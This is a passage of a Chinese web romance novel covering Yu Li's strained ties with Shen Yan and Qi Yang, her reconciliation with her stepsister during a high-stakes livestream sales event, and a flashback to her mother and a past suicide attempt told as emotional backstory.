等沈砚抱着女儿进来,她立刻迎上来:“星星,你还有没有哪里不舒服?” 星星摇摇头,像是觉得很愧疚,红着眼睛说:“脏脏,星星脏,大伯也脏。” 喻梨也问道两个人身上沾染的呕吐物味道,立刻说:“没关系的,妈妈带你去洗澡。” 沈砚将孩子交给她,开口道:“我可能也需要借用一下你的洗手间。” 喻梨看他一眼:“左边,第一间客卧里有。” 喻梨给星星洗澡,星星一进热水浴缸,情绪没那么僵硬了,喻梨一边给她擦身体,一边问她晚上吃得什么。 小姑娘一边玩澡盆里的小鸭子,一边用小奶音报菜名:“大伯给星星买鸡翅、虾子、薯条……” 喻梨一听,脸色微微发黑,星星有个外号,叫‘一直吃’,只要大人不给她停,她可以一直不停吃。 会呕吐,大概是吃多了,星星每次要吐之前会说自己头晕。 当时沈砚发照片的时候,就该提醒他不要给星星喂太多的,可她懒得同他交流,才会造成星星吃多了吐。 沈砚脱下外套,衬衫上也沾染了那股味道,他只好一并脱掉,简单的擦拭一番,又打电话吩咐司机将车上的备用衣服送上来。 司机很快将外套送上来,沈砚整理袖口时,听见走廊上赵阿姨正拿着手机去主卧室找给喻梨。 “喻小姐,你手机在响。” 沈砚直接拿过手机:“给我吧,我拿给她。” 瞄一眼,是串陌生号码。 喻梨的卧室门没关,正在给星星洗头。 沈砚敲门进来说:“有人联系你,陌生号码,可能是推销。” 喻梨腾不出手接听,看都没看:“那先挂掉。” 沈砚滑动手机,却无意滑到接听键。 那头似乎有些嘈杂,很快传来一道声音:“喻小姐,您是机主朋友吗?他喝醉了,我看您在他通话第一栏上,能不能麻烦您过来接他。” 电光火石,喻梨忽然想起什么,刚想用带着泡泡的手去夺手机,沈砚已经漫不经心问道:“哦?麻烦你核对一下机主姓名。” 那头淅淅索索一下,喻梨在星星面前压抑着声音去夺手机,却听话筒里很快传来声音:“机主应该叫祁阳。” 手机抢过来,被喻梨挂断了。 偌大的浴室里,沈砚垂眸,与她对视。 第65章 第65章,你会找到真正能永远陪…… 浴室开着暖灯,光线偏柔和,却也能将彼此表情看得清清楚楚。 沈砚垂眸看到的喻梨,扎着随意的丸子头,因为替女儿洗澡,瓷白的脸上被溅了几滴水珠,正有些恼火的跟他对视,一手握着手机,一手半插着腰肢,咬牙跟他小声道:“沈砚,你不要一次又一次挑战我的底线。” 沈砚刚洗过脸,一张俊脸在暖光下,五官立体,几乎半丝瑕疵也无,一双狭长的眼睛注视她是轻易给人一种深情的错觉,薄唇轻启:“这次确实不是故意,手滑,我没理由去听你一个可能是推销的电话。” 喻梨闭了闭眼,胸脯起伏,刚要开头说话。 沈砚很快接着说,口吻镇定分析:“但,你没有存那个小孩的电话,调查里,也没有说你有公开的男朋友,所以你们是什么关系?” 居然丝毫不避讳他已经调查过她。 喻梨握了一下手机,努力忍住欲抬脚将他踹出去的冲动,考虑到星星还在,克制着嗓音,冷冷反问:“我需要跟你解释?” 沈砚却几乎得寸进尺,用只有彼此听见的声音,挑眉推测道:“看来是不见光的关系,所以连号码都不需要备注。” 喻梨简直被气笑,冷嘲热讽:“你以为你在我手机里有任何备注吗?” 沈砚笑了一下,眉目清隽:“可以。” 喻梨正莫名。 沈砚忽然揽过她腰肢,彼此距离瞬间拉进,她被迫迎向他,听他抵着她鼻尖跟她暧昧说:“你想跟我见不得光,可以。” 喻梨气得去推他,却听浴盆里的星星在抗议:“妈妈,泡泡糊眼睛了。” 喻梨偏头望过去,星星脑袋上还有泡泡,立刻说:“马上,妈妈替你冲。” 沈砚已经识趣放开她。 等洗完澡,给女儿擦完香香,换好睡袋,沈砚依然没有走,仿佛饶有兴趣似的,看喻梨耐心地做这些,偶尔还会识时务的帮忙搭把手。 星星每次吹头发之前都特别调皮,会裹着发帽在床上滚来滚去,跟只泥鳅似的滑不溜手,喻梨抓了两次没抓到,耐心告罄,刚要数一二三,旁边沈砚提出:“我试试。” 喻梨有时觉得很奇怪,沈砚这种类型,不像是对孩子有耐心的,偏偏他仿佛对星星的一点一滴都格外感兴趣。 这会儿,冷眼瞅一眼他,应他要求,将手里的儿童吹风机递给他。 沈砚哄床上的星星下来吹头发,喻梨拿起手机,转身出去打电话。 祁阳的电话她很少打,两个人私底下一个月最多联系一两次,且以微信为主,想起刚才大约是酒吧里的人,她回拨了一个电话回去。 没人接。 喻梨索性难得管,去书房联系一家供应商,处理了点剩余的公事。 沈砚替星星吹好头发出来时,喻梨已经跟供应商聊完,刚好走出书房。 两人在走廊碰见,喻梨想起什么,不动声色地开始赶人:“你不是赶飞机?” 沈砚抬手看一眼腕表,‘嗯’了一声,试探:“还有时间,方便送我下楼吗?有东西要给你。” 喻梨以为,是给星星的东西,她今天才答应他,可以。他也在做到不随意进出她家门,来之前给她打电话征求同意。 这种暂时和谐,喻梨不大想破坏,点头同意。 沈砚的车停在小区门口。 走到路上喻梨忽然想起:“下次不要给星星吃太多,小孩子不知道饱觉,她吃多了容易吐。” 沈砚偏头看她一眼,桃花眼隐隐含笑:“好,听你的。” 喻梨听得隐约别扭,反应过来:“没有‘下次’当然更好。你忙的话,真的不用特意飞过来。” 沈砚固执的:“时间挤一挤总会有。” 喻梨就不知道可以再说什么,毕竟他对星星,确实展现出任何人无法代替的耐心。 司机大概已经提前收到消息,提了一只精致的手工蛋糕过来。 沈砚递给她。 喻梨不知道是小蛋糕,微微皱眉:“星星吃不下。” 沈砚温和说:“餐厅吃饭,打包带给你的,我记得是你喜欢的口味。” 星星一路上眼巴巴问他要,他没给。 哄她说:“回去跟妈妈一起吃,是妈妈喜欢的口味。” 很多很多年以前,他一直记得她喜欢吃甜食,遇到心怡的口味,可以开心好半天。 他那时经常飞国外交流,遇到餐厅有做得不错的甜品,会给她空运回来。 夜色里,喻梨抬头看他。 路灯的光映照在她眼底,那是一潭深水,无波无澜,望不到底。 喻梨没同他争执,接过来,直接道:“以后不用做这些多余的事。除开星星,我们之间不会有别的。” 沈砚喉结滑了一下。 喻梨说完已经转身,沈砚看她经过小区门口的垃圾桶,直接扔进去,背影没有丝毫留恋地重新踏入小区。 喻梨的办公室里,每天能收到一束黄玫瑰花束,和有人手写的道歉贺卡,小巧可爱。 祁阳第二日正常上班,神色如常,喻梨有想过找他谈一次,但都因为忙碌的工作打断。 终于在他送花的第四天,喻梨找到跟他沟通的时间。 两个人中午约在距离公司三四公里的一家咖啡馆。 喻梨定的,比祁阳先到。 她下午有会要开,午觉时间给了祁阳,因此只能喝咖啡,吃三明治和沙拉简餐。 算起来,是两个人第一次除开公司聚餐之外的正式单独吃饭。 祁阳骑着单车过来,午间的阳光慵懒,天空是浅浅的蓝,他穿一件黑色潮服,戴一顶鸭舌帽,低调地推门进来。 祁阳仿佛已经有预感,走近时,发现喻梨已经点好餐,笑容有些勉强说:“不管是第一次,还是最后一次单独吃饭,其实打算请你吃顿好的。” 喻梨抬头看他:“我这个人是这个样子,不大会照顾别人的感受,觉得没有必要,就决定简单点。” 好像他俩的关系,原本很简单,不知不觉就复杂起来,于是她决定快刀斩乱麻。 少年在他对面坐下,沉默片刻。 他忽然说:“不是为了借你资源上位。” 喻梨愣了愣,微笑:“知道。” “也不是想傍你的钱。”他补充一句。 喻梨被逗笑:“知道。我也没有那么有钱。” 祁阳就卸了气,垂眸,眼神有些涩意:“没遇到这么喜欢的,所以变得傻里傻气,让你看不起了吧。” 喻梨这次静默几息,隔了会儿才说:“不会,喜欢一个人,用尽全力,没什么不对的,你的心意,我有收到,也为此感动,花很好看,我放办公桌了,但也仅此而已,没办法有更多的回应。” “什么花?”祁阳怔愣。 喻梨一下子反应过来,黄玫瑰不是祁阳送的,那就只剩一个人…… “没什么花,我的意思是,星星那天生病,谢谢你的心意。” “被发好人卡了吗?”少年笑容苦涩。 “你可以理解为,因为你很好,所以不想耽误你,选择早点结束。”喻梨目光平静包容。 祁阳喝了一口她点的冰咖啡,怪苦的:“能问问原因吗,是因为上次的……男人。” “不是。我跟他没什么关系。你上次看到的,确实是容易让你误会的场景,但是确实不是因为他。“说到这里,喻梨顿了顿,”你记得我在医院里跟你讲过一个人吗,我很想念的,第一次遇见你,你笑起来很像他。” 祁阳心里泛起点疼,但因为早就猜到,也不觉得意外。 隔一会儿,他有些艰难道:“其实我没关系,即使是替代品……” “不要了。”喻梨打断他,“这样我会变得有负担,最开始,是最单纯的关系,所以很舒服,不会不自在。” “……抱歉。”祁阳桌下的手忍不住握了握。 “不是需要感到抱歉的事。”喻梨说,偏头看一眼窗外的冬景,要过年了,街道商场,到处开始有装饰的迹象,那样热闹,却又那样萧瑟,“去更多的地方吧,祁阳,遇见更多的人,你会找到真正能永远陪在你身边的那个,你的人生还很长。” 祁阳笑了一下,深深望向她:“你都做不到的事,为什么要来劝我?” 喻梨第一次,被他眼神刺痛。 蒋静姝的接待规格,早就不可同日而语。 下榻的酒店是南城私密性最高的一家五星级酒店,除开她经纪人,她总共带来三个助理,两个保镖。 沈欣瑜负责接待,从接机开始,到安排酒店晚餐,一整个伏低做小,自认样样周全,却依然被这位祖宗挑刺,连直播前期的流程对接都不肯配合。 用沈欣瑜的话来说:“草!没见过这么难搞的艺人,老娘也混过北城的,她也就这两年人气火起来点儿,怎么就鼻孔翘到天上,要不是定金已经打过去,直播间已经宣传预告,我真想让她麻溜得哪里来,滚哪里去!” “有那么难搞?”电话另一端,喻梨坤了坤脖颈,很难相信,还有沈欣瑜搞不定的人。 蒋静姝个性虽然差了点儿,但在工作上,喻梨记得她还算是配合的。 “不是难搞,我总觉得,她是不是知道你是我合作伙伴,怎么的,都有点儿冲你的意思。”沈欣瑜冷静下来时,分心道,“你们当年关系到底差到哪个地步,不至于你死我活吧。” 喻梨想起两个人以前的纠纷,你死我活,倒似乎不至于啊。 “你把她房间号给我。”最后,喻梨说。 第66章 第66章大概就是那种得到自己死…… 南城某五星级酒店。 包厢里,沈欣瑜还在哄公司里最大的一棵摇钱树本树J姐。 J姐是公司最赚钱的主播,男的,最大爱好时研究各类化妆品,是喻梨跟的沈欣瑜用心经营的第一个账号,直播间销量一直是公司最好的,可以说整个公司,有一半以上的营业额都是靠依靠J姐的直播间。 “说白了,就她这副不合作的态度,能走多远还不一定呢,现在塌方的明星多着呢,塌得那叫一个前仆后继、千奇百怪,咱把这次的物料留着,以后再跟她慢慢算账,你大人有大量,宰相肚里能撑船,别跟她计较。” J姐环着手臂,翻了个白眼:“这是我要跟她计较么,是人家明显就看不上我直播间,就这态度,明天怎么播,怎么卖货?” 沈欣瑜还要继续,她助理忽然敲门进来:“不好了,老板,小星光的主播刚才在平台预告,明天早上10点,会有神秘嘉宾做客直播间,我们收到消息,小星光很有可能请到了最近因为恋综爆火的嘉宾程妙,她最近风很大,上过好几次热搜,在某书做的美妆分享浏览量是断层级别的火爆。”看老板脸色越来越黑,助理音量逐渐缩小,“小星光明天要卖的,是跟我们一样的套装。” “这是公开打擂台!好你个小星光,我们请蒋静姝,她们就找程妙,我每拍一个VLOG,他们一定会模仿一个,好嘛,现在是直接抄到我脸上来了,要不是前段时间选品问题,我高低得给他们摁得死死的!”J姐叉腰,像是觉得包厢里太热,火大得拿手扇了扇风。 沈欣瑜却想到更深一层,脸色有点差:“我出去打个电话。” 喻梨刚到就点停车场,沈欣瑜第二个电话打过来:“你到哪儿了?” “酒店停车场。”喻梨踩着高跟鞋,按下锁车键。 沈欣瑜深吸一口气,将助理刚才说的情况说了一遍,随即说:“你还记得我跟你讲过,当时签约这家品牌的时候,跟对方有签订一个协议,如果年前销量能达到他们的阶梯数字,下个季度,给我的价格可以再降3到5个点。” 喻梨脚步顿住,很快意识到什么:“你的意思是?” “明天的直播可能不仅是拉回直播间人气,重点要放在销量上,小星光一定签了同样的协议,明天如果让他们卖爆,冲破阶梯,下个季度他们的优惠力度肯定比我们大。”沈欣瑜口吻有些紧张,显然已经意识到严重性。 喻梨也瞬间明白,平台就那么点大的流量池,一个账号做起来不容易,维护起来更艰难,主播要随时保持账号的新鲜感和紧张度,因为稍微不注意就容易被另外相似的账号替代,毕竟消费者可以选择的账号太多了,小星光一直对标他们,且已经因为上次的假货事件,抢走他们不少粉丝量,如果后续拿到更优惠的力度,J姐这个账号,也就差不多废了。 “你带运营部和选品部门,重新规划一下明天直播的类容,还有赠品的搭配,蒋静姝这边交给我。” “好。” 说完,喻梨已经抬脚进电梯。 三分钟后,她站在酒店高级商务套房门口,按响门铃。 开门的是她助理,喻梨直接说:“我是蒋静姝妹妹,我叫喻梨。” 助理仿佛知道她会来,打开门,让她进来了。 蒋静姝正在沙发上敷面膜,桌前摆着一盘精致的果盘,她正盘着腿,穿着白色浴袍,边吃水果,边玩手机。 喻梨叫了声:“姐。” 蒋静姝偏头看她,因为戴着面膜,看不清楚表情,像是研究了一会儿似的,嘲弄道:“不敢,不敢,我好像从来没听你这么乖,私下叫过我姐啊。” 喻梨在她沙发的另一半坐下,随手将包放在一侧:“如果你偶尔有点姐姐的样子,其实也不是不 可以叫。” 蒋静姝刷得扯下面膜,咬牙:“怎么算姐姐的样子,你到我家第一天就给我脸色看,抢走我爸爸。” 喻梨偏头说:“你也抢走了我妈妈。” 蒋静姝不知道想到什么,神色忽然有些不自然,但很快扳回一城:“你是不是本来不打算见我?” 喻梨想了想,诚实说:“不针对你,北城很多人,我都没有联系过。” 蒋静姝愣了一下,随即想起沈廷屹死的时候,喻梨几乎快丢掉半条命的样子,只听说出国前跟徐凤芝大吵一架,具体争吵内容她不清楚,但喻梨很快出国了。 “爸偶尔会念叨你。”蒋静姝想了想,有些别扭道,“老头子嘴巴上不说,心里很想你。” “蒋叔叔身体怎么样?”喻梨有些许动容,她每年保持给徐凤芝打一两个电话,也会问候蒋然。 “还行吧,养着呗,没事弄弄他那堆花花草草,已经很久不管商超的事了。” 喻梨点点头:“那就好。” 蒋静姝张了张唇,还想说什么,话到嘴边,又咽回去了。 喻梨看一眼她:“你,我就不问了,南城到处是你广告,很风光。” 蒋静姝撇了一下嘴:“风光也不代表就过得很好!” “但是是不一样的蒋静姝,眼睛里有光的,可能找到人生某部分意义的蒋静姝,很美,也很耀眼。”喻梨真诚道。 蒋静姝眼睛一下有点红:“别以为你说点好听的话我就会乖乖帮你,我很贵的,也很难伺候。” “对,你们商务给的友情价确实惊人的贵,说实话,我跟我合作伙伴都怀疑是个坑,你带货能力我们是真的没什么信心。”喻梨叹口气。 被蒋静姝拿她洗过的雪白脚丫子踹了一脚。 喻梨立刻给了她一个锁喉,两个人在沙发上幼稚得闹开,像十八九岁在家里打架争东西的时候,两个都是小公主,谁也不肯让谁。 打完了,两个人都憋不住,噗嗤相视一笑。 喻梨整理自己被她弄乱的头上,直说:“明天直播真的很重要,赌上了我们公司前途。” 蒋静姝也懒得跟她废话:“知道了,叫你们公司那个J姐过来跟我对流程,我让助理马上在我的媒体账号宣传。 喻梨很满意,也确定她是故意捉弄沈欣瑜她们的,想了想问道:“你怎么知道我是公司合伙人?” “这个问题,等明天直播完告诉你,明天下播后约个地方见面?” “可以。” 等出蒋静姝酒店,喻梨都没想过会这么顺利。 蒋静姝曾经造过她黄谣,她也扇过她巴掌,两个人曾经几乎争得你死我活,斗得昏天暗地,没有想过和解。 时间仿佛是良药,多年后,竟然也能平心静气的合作。 蒋静姝也在房间里发呆。 那年蒋父进抢救室,蒋静姝慌得不知道该怎么办,是喻梨镇定跟她说:“这里有我。” 也是她在以为家里会破产,自己再也不会是名媛圈里的一员时,喻梨说:“但你依然是蒋静姝,有点名气的,没有失业的,说不定努力工作还能活得挺不错的蒋静姝。” 低谷时期的蒋静姝听进去了,跟自己说当名媛不如当蒋静姝。 于是,几年后,她得到喻梨的一句称赞:“很美,也很耀眼!” 她说‘风光不代表过得好’是真的,台前的风光都是靠台后一点一点的努力积攒的,她没想过自己某一天会因为喻梨一句简单的‘很美,也很耀眼’而红了眼,觉得这几年吃过的苦一瞬间都值得。 大概就是那种得到自己死对头的赞美,比得到簇拥着赞美更香吧。 第二天一大早,喻梨跟沈欣瑜不约而同,很早就到公司。 彼此都知道今天是场硬仗。 确认好整场直播的配置后,一起等待开播时间。 J姐10点上播,小星光也10点上播。 喻梨和沈欣瑜在现场,不停观察直播数据。 沈欣瑜:“他们开播多少人” “比我们粉丝量多些,目前在线10000多。”有助理答。 “程妙最近很火,这段时间流量大,昨晚她在某书发的宣传预告很有意思,爆了。”场控说。 沈欣瑜有点紧张得看向喻梨:“你姐昨晚发的宣传流量怎么样?” “中规中矩,但她有固定粉丝,现在刚开播,20分钟以后她才上场,再等等看。”喻梨其实也有些拿不稳。 沈欣瑜想了想,跟场控商量:“随时观测小星光那边的数据和消息,他们选品不可能跟我们完全一样,昨晚我们商量好的用几款特价产品先吸引粉丝,可能会临时调换上架数据,让J姐做好准备。” “知道了,放心,J姐很灵活的。”说完,亮起牌子,跟直播间的J姐打了个手势。 蒋静姝今天打扮得很日常系,几乎素颜入境,皮肤保养得非常好,她骨相不错,几乎半点看不到整容痕迹,确实是非常上镜且适合荧幕的一张脸。 “网红跟明星,你别说,还是有差别的,我看你姐这气质,对面程欣差了不止一星半点。”沈欣瑜抽空跟喻梨咬耳朵。 “红气养人嘛。”喻梨笑笑。 “我们目前在线12万多人,小星光那边8万多。”场控含了点兴奋道。 “你姐这钱,花得挺值。”沈欣瑜稍稍松口气。 “别高兴太早,她们公司会买水军,在线人数多,真正购买力不一定打得过程欣。”喻梨很谨慎。 沈欣瑜立刻转头交代助理:“让传播员继续宣传,全平台,把我们昨晚商量的几款破价产品都宣传出去。先多吸引点人流进场再说。” 为了这场直播,沈欣瑜砸钱砸力,也是拼了。 J姐气氛搞得很热,蒋静姝进入直播间10多分钟,已经出了两个梗,蒋静姝毕竟上过好几档综艺,虽然第一次直播,但人非常松弛,不仅接得住J姐的梗,还能自己制造梗。 “小星光那边在上护肤品套装了。”监督小星光那边直播的人忽然说。 “这么快?”喻梨跟沈欣瑜都愣了。 “老板,他们赠品比我们多30毫升的洗面奶!” “不可能,他们这是破价,品牌方不会允许,而且利润上很难做出来。”沈欣瑜惊了。 喻梨也很震惊:“会不会是他们拿到的代理价比我们更低?” 沈欣瑜脸色很难看。 两个人相互看一眼,都在想对策,也仿佛瞬间恍然大悟,为什么‘小星光’敢直接同时间段打擂台,原来是有杀手锏。 恰此时,J姐跟蒋静姝直播连线场外。 场控都疯了:“蒋老师说她连线顶流陆晟。” 谁? 陆晟,那个粉丝疯狂到断层第一的带货王。 喻梨跟沈欣瑜以为自己听错,但事实是,视频很快打通,陆晟在片场,穿着古装,跟几个明星一起。 监控数据的助理:“陆琪粉丝进来了,直播在线数正在飙升。” “昨天有这个流程吗?”沈欣瑜也有点疯。 喻梨也有点目瞪口呆。 传播员:“陆晟粉头在群里发言了,好几个群在说陆琪跟蒋静姝连线的事,看来陆晟那边也在宣传。” 沈欣瑜立刻下令:“快,改宣传内容,就说陆琪现在在跟蒋晟姝直播连线。” 陆晟连线两分钟,直播在线人数由蒋静姝的15万多,一下子涨接近20多万粉丝,不止连线,蒋静姝还在开玩笑跟陆晟宣传自己代言的这款产品,说洗面奶特别好用,陆晟也很配合宣传,问 她要不要送他一套,蒋静姝开玩笑不送,得支持够买。 陆晟大方问哪里下单。 几乎在问的同时,场控很懂得抓时机,J姐也很有眼色,开始说活动力度。 喻梨想了想,看一眼还在不断疯长的粉丝数,跟沈欣瑜对视一眼,忽然跟场控说:“加30毫升洗面奶做赠品。” 场控懵了一下,但是很快给J姐打提字板,J姐看到,立刻圆了话术。 后台紧急配上加洗面奶的链接购物篮。 三二一,上链接! J姐还在宣传产品特色和活动力度。 五分钟后,5000套产品清空。 直播后台静了片刻。 这是J姐直播间最快清空的一次。 然而粉丝还在留言说没抢到。 沈欣瑜立刻跟说:“加库存。” 库存2000套,在蒋静姝下播前,也被一抢而空。 一场直播,J姐直播间涨粉5000多,带的其他货品,也几乎都是一抢而空的架势,总销售额八千万,打破公司的最高纪录。 隔壁小星光不知道怎么样,但是同品牌的护肤品还有货,也就说没抢光。 蒋静姝和陆晟的连线切片还在到处宣传,两个人聊天内容很有梗,又隐约仿佛有那么点儿暧昧,甚至有热搜在挂他俩可能恋爱。 长尾效应很足,J姐账号的粉丝数还在疯长。 下播后,全公司差点跳起来,都疯了! “打得对面落花流水!” “爆了!爆了!” “蒋老师就是牛!” 不少人再也克制不住,兴奋地跑去找蒋静姝签名,蒋静姝倒是十分配合。 沈欣瑜也难得激动,忍不住碰碰喻梨的肩:“你还说跟你姐不对付,我看人家为了还搭了人脉,陆晟诶,那简直不是一个级别,而且连线差不多8分钟,相当于我们花钱请一个一线还搭了一个顶流,就我们这账号,何德何能!” 喻梨被她夸张的样子逗笑。 但十五分钟后,姜静姝坐在喻梨对面,捧着一杯热咖啡对她说:“其实我跟陆晟不熟。” 第67章 第67章徐凤芝爱华美的衣袍、爱…… 公司露台上,放着几张木质桌椅,旁边搭配放着一些盆栽跟太阳晒,弄得很有咖啡馆氛围,是平时同事们偶尔过来吃个午餐,或者喝个下午茶的放松的地方。 此刻,这里被清场了,因为蒋静姝特殊身份,两个人干脆点了外卖的咖啡,在这里见面。 “不止不熟,我们还不是一个公司的,也就一些活动上见过一两次面吧,以我目前的能力,想要跟他连线,而且还要这么明显的带产品宣传,需要中间有人斡旋。”蒋静姝喝了一口热咖啡,老实承认道。 喻梨心里已经隐约有预感,于是选择沉默。 “你不是好奇我是怎么知道你是这家公司合伙人吗?”蒋静姝继续道,“沈欣瑜联系我商务的时候,商务本来是不同意的,我经纪人也没想过让我做直播,容易掉咖,但是宏鑫资本有人出面,我经纪人和商务立刻改了口风,我商务那边好奇你们这么小一家直播公司,背后怎么会有宏鑫资本的高层撑腰,就查到你名字。” “宏鑫资本背景很复杂,我知道的消息,背后跟沈家有关。”说到这里,蒋静姝喝了一口咖啡,小心觑一眼对面喻梨脸色。 喻梨目光平静,表情看起来毫无波澜。 宏鑫最后收购的条件优渥,喻梨总觉得哪里不对,此刻被证实,她居然连意外的感觉都没有。 “你……不觉得奇怪?”蒋静姝还是问出口。 喻梨想了想,没说实话:“你可能想多了,宏鑫资本确实才入资我们公司,可能想要扶持账号。” 蒋静姝:“那也太大手笔,我昨天飞过来之前,经纪人告诉我,陆晟会跟我连线,连我经纪人都很惊讶,摸不着头脑。” 喻梨没有说话。 见气氛有些沉默,蒋静姝将手机里的照片推过去:“我没有别的意思,只是当年的一些事,我想跟你讲一讲。这是我跟沈砚的合约,你知道我跟方苒长得很像,甚至徐凤芝还让我微调,更接近方苒长相,我那时被她洗脑,一心只想攀上沈砚。” “可真正见到沈砚,他也只是给了我这份合约,让我陪他演戏,最开始我不知道他什么意思,也不敢告诉徐凤芝。等他做局,让徐凤芝将钱全部赔进去,我才发现,他要的是我们家破产,他真的太狠,可我不明白,我们家跟他没有仇怨,为什么要针对我家。” “而且,最奇怪的是,事情结束后,他承诺我的资源真的没有收回去,从某种意义上讲,我是靠他一手捧红的。”说到这里,蒋静姝口吻复杂。 喻梨却已经知道原因。 沈砚针对的不是蒋家,而是徐凤芝个人。 徐凤芝当年看上的,恐怕也压根儿不是蒋然,而是蒋然长得像方苒的女儿蒋静姝,为了海外那笔天价资产,徐凤芝赌得是蒋静姝攀上沈砚后,生下孩子,可以拿到那笔数额庞大的巨款。 喻梨感到悲哀,为徐凤芝,也为此刻茫然的蒋静姝。 但她什么都不能说,蒋叔叔是真的爱徐凤芝,蒋静姝也很爱这个‘妈妈’。 “你为什么要告诉我这些?”喻梨问。 蒋静姝显得有些单纯:“因为想不通,我始终看不懂沈砚,而且,我总觉得,他其实也不爱方苒,好像就是要做一个人设在那里,给外人看。现在,他又投资你们公司,我想把这些告诉你,希望你对这个人,有自己充分的判断。” 喻梨听到这里,微微笑了:“谢谢。不过,我已经决定离这些人和事远一点,你也不要想太多,过去的,已经过去了。” 蒋静姝总觉得她语气有那么点活死人的意思,几年过去,喻梨身上变化太大,她起初不知道是什么变化,这会儿总觉得,她太淡然了,眼底没有那时的光亮,好像什么事都不能引起她丝毫波澜。 明明那几年的喻梨,虽然娇纵得不成样子,但是朝气蓬勃,好像每天都有用不完的牛劲儿。 蒋静姝沉默片刻。 手指抚着咖啡杯沿,垂下眼帘,有些犹豫道:“还有一件事,我应该告诉你。” “嗯?” “你妈妈,半年前查出肺部肿瘤,我爸爸带她出国治疗了一段时间,但是效果不理想,医生说,肿瘤已经转移到脑部,恐怕不剩多少时间了。” 有乌云盖过来,午后的冷风吹拂到脸上,干涩,疼痛,喻梨无知无觉,脸色有些恍惚,仿佛努力在消化她话里的意思。 “本来应该早点跟你讲,但是徐凤芝觉得有希望,让爸爸陪她去国外做手术化疗,最近刚回国,人瘦了一大圈,可能也不知道该怎么跟你开口。” 有很久,喻梨没有说话。 公司晚上有团建,庆祝这次直播破销量,喻梨借口身体不舒服,回家了。 因为加班,星星几乎有好几天都没见到妈妈,喻梨晚上回来,她已经睡着,只能亲亲她熟睡的脸颊,这会儿见到喻梨,缠着她陪她玩。 喻梨陪她拼城堡,给她耐心的扎小辫子,把她抱在怀里跟她给她讲书里的故事,讲着讲着,星星忽然摸到她脸,奶声奶气问她:“妈妈你怎么哭了?” “因为妈妈忽然想妈妈的妈妈了。”喻梨圈住女儿软乎乎的身体,把她抱很紧,不知不觉,红了眼眶。 大概话语太绕,年幼的星星听不懂,有些懵懂得任妈妈抱着,暖烘烘的小身体承受着妈妈磅礴又汹涌的悲伤。 几天后,喻梨定了回北城的机票。 离开北城那年,喻梨以为自己已经把所有的悲伤留在这座城市。 再回来,她没想过依然是带着伤感而来。 机舱外是滚滚新云,天空仿佛倒过来的海平面,喻梨的思绪随着云朵漂浮,回忆起她与徐凤芝最后一次见面。 沈廷屹去世后,她整日悲伤,窝在公寓里不出门,分不清白天与黑夜。 徐凤芝看不下去 ,带阿姨过来给她打扫卫生和做饭,偶尔看不惯她死样子,骂她为什么不肯振作,不就是死了一个男人,她有她一半的魅力,不至于为了一个男人要死要活,真是没出息。 徐凤芝所有的优雅用在外人面前,对喻梨,是怒其不争的,露出自己真实的一面,这个女儿她又爱又恨,仿佛是自己教育失败的产物,没有继承自己‘果断’、‘坚韧’又‘狠辣’的部分,偏偏死心眼的是个恋爱脑。 无论是对沈砚,还是沈廷屹。 直到,收拾房间时,发现喻梨的产检报告。 以徐凤芝的视角,孩子属于沈廷屹,她惊喜交加,派人看住喻梨,考虑怎么跟沈家谈。 喻梨后知后觉,发现自己被监控,徐凤芝承认自己看到产检报告,将喻家跟沈家的约定说了,只要喻梨肯生下这个孩子,海外那笔巨额资产将会拿到,母子俩下半辈子不用愁,但资产怎么分配绝不能由沈家做主,她刚被沈砚几乎扒掉一层皮,这件事必须从长计议。 喻梨不是笨蛋,质问她,沈砚为什么要针对她设局,那块地又是哪里找的冤大头买家,连陆哲都查不出,刚好解决了蒋家的燃眉之急,以及当年沈砚绑架是怎么回事,是不是跟喻父有关,为什么,她想不明白…… 徐凤芝当然不肯老实回答,顾左右而言他,拖着喻梨,只让她好好养胎,不要想太多。 某天喻梨坐在窗口,学赵雨浓的模样吓唬她,摸着肚皮说出的话也很伤人:“我死可能对你都不重要,但它要没了,你的钱也没了,我只想知道当初的真相。” 徐凤芝的确被她吓到,这个女儿,从沈廷屹去世后,一直状态就不对,如果真的刺激她,恐怕真的会一尸两命。 她只说了喻父的部分,喻父当初借助沈家,将大笔资产漂白存于国外,两家成立共同账户,约定只有等儿女双方结婚生子,深度捆绑后才可以取出,但喻父出事前,需要填补国内项目上的某笔大亏空,沈誉不肯,喻父下了狠手,绑架了沈砚,要逼沈誉就范,沈砚是九死一生,自己逃出来的,喻父当然没拿到那笔钱。 后面的结局,喻梨都知晓了。 喻梨那时心如死灰,虽然已经猜到一半,但父母曾经高大体面的形象似乎塌无可塌,她从来没有哪一刻觉得人生那样可悲,于是转头望着徐凤芝笑得嘲讽:“那你可能真的打错算盘了,告诉你,孩子不是沈廷屹的,你没看报告的孕周吗,那会儿我跟沈廷屹还没有在一起,你汲汲营营一生,落得这场空,真是可悲。” 说完,喻梨往下跳。 她那时是真的想死。 在沈廷屹的尸体面前,在沈廷屹的坟墓面前,在每一晚难以入梦的空白里,徐凤芝还原的真相是最后一根稻草,将她整个前半生映衬成一场笑话。 徐凤芝扑过来抓住她,她那样瘦,那样柔弱,抓住女儿的手却用尽全身力气,手臂几乎摸出白骨也不肯放开女儿挣扎的手,直到保镖听到动静赶过来,拉起母女俩。 救起喻梨,徐凤芝还能红着眼睛,硬撑着啪啪给她两巴掌:“要死你死远点,不要死我眼前!我怎么能生出你这样没出息的东西!” 母女俩看对方的眼光裹挟对彼此浓厚的失望、憎恨、鄙薄、以及破碎的,仿佛从玻璃渣子里捡出的零星爱意。 喻梨被送完医院时,她血型那样特殊,且孩子周期太大,已经过了安全引产的周期。 徐凤芝果断将她送往国外,又对接了一家华裔家庭,嘱咐照顾她的保姆跟看护,孩子生下来以后,看都不要让她多看一眼,立刻送人,单亲妈妈不是那么好当的。 她的私房钱全部贴给了喻梨国外的用度,包括请心理医生,很长一段时间,喻梨有自杀倾向。 直到星星出生,襁褓里的小婴儿,发出第一声哭叫,那样小的婴儿,却爆发出惊人的生命力,喻梨的眼睛里,才多了些许光芒。 像很多很多年以前,徐凤芝在产房生下小喻梨,她哭叫声那样动听,徐凤芝爱华美的衣袍、爱闪耀的宝石,爱一切奢华又虚伪的荣耀,但那一瞬间,仿佛都敌不过怀里咿咿呀呀,哭声嘹亮的骨肉。 第68章 第68章来,星星,来外婆这儿,…… 沈砚从保镖那里得知喻梨已经搭乘飞往北城的飞机时,他刚在一场关于医学AI全球性的科技研讨会上做完一场演讲。 台下响起雷鸣般的掌声,沈氏旗下的研发的一款AI医疗新技术,突破某项国外领先的独家技术壁垒,在国际上,算是为国争光,最近在国际很多医疗论坛上,狠刷了一波热度。 